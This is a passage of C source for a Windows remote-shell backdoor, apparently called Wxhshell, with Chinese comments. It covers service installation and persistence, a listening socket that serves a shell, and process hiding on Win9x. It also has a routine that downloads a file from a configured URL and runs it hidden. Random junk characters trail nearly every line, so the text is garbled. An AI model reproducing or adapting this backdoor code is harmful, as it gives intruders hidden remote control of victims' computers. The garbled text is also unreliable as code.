ULONG InheritedFromUniqueProcessId; #^#PPO
} PROCESS_BASIC_INFORMATION; J.3u^~zy
Eu0akqZ
PROCNTQSIP NtQueryInformationProcess; I.I`6(Cb
HUcq%.
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !'Ak&j1:`
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HsxVZ.dS
u]:oZMnj
HANDLE hProcess; E!;SL|lj.
PROCESS_BASIC_INFORMATION pbi; md+nj{Ib
2L!u1
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");
3Nl <p"=
if(NULL == hInst ) return 0; -7SAK1c$
-Mip,EO
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j*d
yp
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S Q@y;|(
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j
'FVz&
B)$| vK=
if (!NtQueryInformationProcess) return 0; y~(h>gi,x
O3;u G.:1
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hC:n5]K
if(!hProcess) return 0; ?xA:@:l/
@efh{
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E~,F
Qd)q([
CloseHandle(hProcess); U] ~$g}!)
1}S S+>`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);
>/{@C
if(hProcess==NULL) return 0; 'QJ:`)z
:v0U|\j8/V
HMODULE hMod; -M~8{buxv
char procName[255]; B{/R: Hm
unsigned long cbNeeded; WJ$bf(X*
svsq g{9z
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^/)^7\@
\@Ts+7%
CloseHandle(hProcess); yUeCc"Vf
-^K"ZP1
if(strstr(procName,"services")) return 1; // 以服务启动 w2;eh]k
e%@'5k\SK
return 0; // 注册表启动 $>G8_q
} 2SD`OABf#
.>q8W
// 主模块 vhe>)h*B
int StartWxhshell(LPSTR lpCmdLine) [I0:=yJ+
{ j1^I+j)
SOCKET wsl; # Nk;4:[
BOOL val=TRUE; z[LNf.)}
int port=0; &[_g6OL
struct sockaddr_in door; P !AEf#1
grS:j+_M2m
if(wscfg.ws_autoins) Install(); \"qY "V
Bu#E9hJFvA
port=atoi(lpCmdLine); ]-PH^H
^b/ Z)3
if(port<=0) port=wscfg.ws_port; |_LU~ 7./
//*fSF
WSADATA data; wZG\>9~
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9l|@v=gw.
* ;-*x6
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; %.vQU @2A
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LE&RY[
door.sin_family = AF_INET; uya.sF0]9B
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0bz'&
door.sin_port = htons(port); ;QWIsVz
2K<
8
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?Fi=P#
closesocket(wsl); fg
s!v7
return 1; Mxe}B'
} ?Q sQnQ
e_#._Pi
if(listen(wsl,2) == INVALID_SOCKET) { |P[w==AAf
closesocket(wsl); Hv!U|L
return 1; (XeE2l2M
} 5)FJ:1-
Wxhshell(wsl); t'VV>;-RO=
WSACleanup(); T3~k>"W
Z LB4m`
return 0; 4P'*umJi
j\,EO+ZQCv
} 1s%#$ 7
<nE>XAI_7
// 以NT服务方式启动 `rgn<I"
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )
5Ec6),+&
{ }0eF~>Df
DWORD status = 0; oT^{b\XN
DWORD specificError = 0xfffffff; Jzj1w}?H
lm!.W5-l
serviceStatus.dwServiceType = SERVICE_WIN32; Yb+yw_5
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 4~y(`\0?4
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K17j$o^6KK
serviceStatus.dwWin32ExitCode = 0; 1|RANy
serviceStatus.dwServiceSpecificExitCode = 0; { WIJC',Y
serviceStatus.dwCheckPoint = 0; %{ABaeb]
serviceStatus.dwWaitHint = 0; Q(lo{AFc
j2ve^F:Q
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L_vISy%\b
if (hServiceStatusHandle==0) return; *vflscgt
IzsphBI
status = GetLastError(); XaCX!Lr,
if (status!=NO_ERROR) 18~>ZR
{ xgbJ2Mh
serviceStatus.dwCurrentState = SERVICE_STOPPED; vu|n<
serviceStatus.dwCheckPoint = 0; xGu r
serviceStatus.dwWaitHint = 0; " 7!;KHc
serviceStatus.dwWin32ExitCode = status; )T';qm0w
serviceStatus.dwServiceSpecificExitCode = specificError; vtw6FX_B
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3x5JFM
return; DBPRGQ
} V"*O=h
)\_:{ c
serviceStatus.dwCurrentState = SERVICE_RUNNING; /s?r`' j[
serviceStatus.dwCheckPoint = 0; # ,7e
NM"
serviceStatus.dwWaitHint = 0; !u_Y7i3^
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \Z]UA&v_
} TatpXN\
(&}i`}v_
// 处理NT服务事件,比如:启动、停止 s~>d:'k7|
VOID WINAPI NTServiceHandler(DWORD fdwControl) aa?w:3
{ <Fi%iA
switch(fdwControl) /a^1_q-bX
{ cV 5CaaL
case SERVICE_CONTROL_STOP: 'SCidN(n
serviceStatus.dwWin32ExitCode = 0; ]vgB4~4#LP
serviceStatus.dwCurrentState = SERVICE_STOPPED; Pf|siC^;s~
serviceStatus.dwCheckPoint = 0; LJ*q 1
;<E
serviceStatus.dwWaitHint = 0; >H'4{|
{ {U!8|(
SetServiceStatus(hServiceStatusHandle, &serviceStatus); k *Q<3@S
} F{EnOr`,m=
return; Q,p}:e
case SERVICE_CONTROL_PAUSE: 9A}# 6
serviceStatus.dwCurrentState = SERVICE_PAUSED; 5"HVBfFk
break; 2Tfz=7h$
case SERVICE_CONTROL_CONTINUE: -M[$Z y^
serviceStatus.dwCurrentState = SERVICE_RUNNING; y9_K, g
break; jgbLN/_{
case SERVICE_CONTROL_INTERROGATE: '@p['#\uI
break; nyBJb(5"B
}; 6xWe=QGE
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +)j$|x~(A
} zRq-b`<7V
nX(+s*Y+w
// 标准应用程序主函数 [* @5\NWR}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >Y
#t`6,!
{ XLAN Np%E
|55N?=8
// 获取操作系统版本 jJuW-(/4[
OsIsNt=GetOsVer(); U7oo$gW%|T
GetModuleFileName(NULL,ExeFile,MAX_PATH); U}MXT<6
}"=AG
// 从命令行安装 TYJ:!
if(strpbrk(lpCmdLine,"iI")) Install(); 4d8B`Fa9
zY|t0H
// 下载执行文件 7qj9&bEy
if(wscfg.ws_downexe) { kMtwiB|7j
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) UVw~8o9s
WinExec(wscfg.ws_filenam,SW_HIDE); }RHn)}+
} ,!dh2xNH^
|P -8HlOr
if(!OsIsNt) { RA G3o-
// 如果时win9x,隐藏进程并且设置为注册表启动 ZCB_
HideProc(); y($%;l
StartWxhshell(lpCmdLine); po$ /7
} wvbPnf^y
else TiYnc3Bz}J
if(StartFromService()) A8pIs
// 以服务方式启动 \8<BLmf4U
StartServiceCtrlDispatcher(DispatchTable); Bx/L<J@
else WAn~+=Ax
// 普通方式启动 .Fnwm}
StartWxhshell(lpCmdLine); &_"]5/"(
H&]gOs3So
return 0; ?Rj ~f{%g
}